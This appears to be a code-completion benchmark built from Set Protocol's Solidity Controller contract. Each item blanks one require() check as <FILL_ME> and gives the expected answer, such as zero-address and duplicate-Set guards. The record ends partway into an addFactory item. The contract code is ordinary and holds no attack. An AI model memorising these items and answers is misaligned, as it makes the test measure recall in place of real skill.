remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
_factories[i]!=address(0),"Zero address submitted."
118,230
_factories[i]!=address(0)
"Zero address submitted."
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { require(!isInitialized, "Controller is already initialized"); require(_resources.length == _resourceIds.length, "Array lengths do not match."); factories = _factories; modules = _modules; resources = _resources; // Loop through and initialize isModule, isFactory, and isResource mapping for (uint256 i = 0; i < _factories.length; i++) { require(_factories[i] != address(0), "Zero address submitted."); isFactory[_factories[i]] = true; } for (uint256 i = 0; i < _modules.length; i++) { require(<FILL_ME>) isModule[_modules[i]] = true; } for (uint256 i = 0; i < _resources.length; i++) { require(_resources[i] != address(0), "Zero address submitted."); require(resourceId[_resourceIds[i]] == address(0), "Resource ID already exists"); isResource[_resources[i]] = true; resourceId[_resourceIds[i]] = _resources[i]; } // Set to true to only allow initialization once isInitialized = true; } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
_modules[i]!=address(0),"Zero address submitted."
118,230
_modules[i]!=address(0)
"Zero address submitted."
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { require(!isInitialized, "Controller is already initialized"); require(_resources.length == _resourceIds.length, "Array lengths do not match."); factories = _factories; modules = _modules; resources = _resources; // Loop through and initialize isModule, isFactory, and isResource mapping for (uint256 i = 0; i < _factories.length; i++) { require(_factories[i] != address(0), "Zero address submitted."); isFactory[_factories[i]] = true; } for (uint256 i = 0; i < _modules.length; i++) { require(_modules[i] != address(0), "Zero address submitted."); isModule[_modules[i]] = true; } for (uint256 i = 0; i < _resources.length; i++) { require(<FILL_ME>) require(resourceId[_resourceIds[i]] == address(0), "Resource ID already exists"); isResource[_resources[i]] = true; resourceId[_resourceIds[i]] = _resources[i]; } // Set to true to only allow initialization once isInitialized = true; } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
_resources[i]!=address(0),"Zero address submitted."
118,230
_resources[i]!=address(0)
"Resource ID already exists"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { require(!isInitialized, "Controller is already initialized"); require(_resources.length == _resourceIds.length, "Array lengths do not match."); factories = _factories; modules = _modules; resources = _resources; // Loop through and initialize isModule, isFactory, and isResource mapping for (uint256 i = 0; i < _factories.length; i++) { require(_factories[i] != address(0), "Zero address submitted."); isFactory[_factories[i]] = true; } for (uint256 i = 0; i < _modules.length; i++) { require(_modules[i] != address(0), "Zero address submitted."); isModule[_modules[i]] = true; } for (uint256 i = 0; i < _resources.length; i++) { require(_resources[i] != address(0), "Zero address submitted."); require(<FILL_ME>) isResource[_resources[i]] = true; resourceId[_resourceIds[i]] = _resources[i]; } // Set to true to only allow initialization once isInitialized = true; } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
resourceId[_resourceIds[i]]==address(0),"Resource ID already exists"
118,230
resourceId[_resourceIds[i]]==address(0)
"Set already exists"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { require(<FILL_ME>) isSet[_setToken] = true; sets.push(_setToken); emit SetAdded(_setToken, msg.sender); } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
!isSet[_setToken],"Set already exists"
118,230
!isSet[_setToken]
"Set does not exist"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { require(<FILL_ME>) sets = sets.remove(_setToken); isSet[_setToken] = false; emit SetRemoved(_setToken); } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) 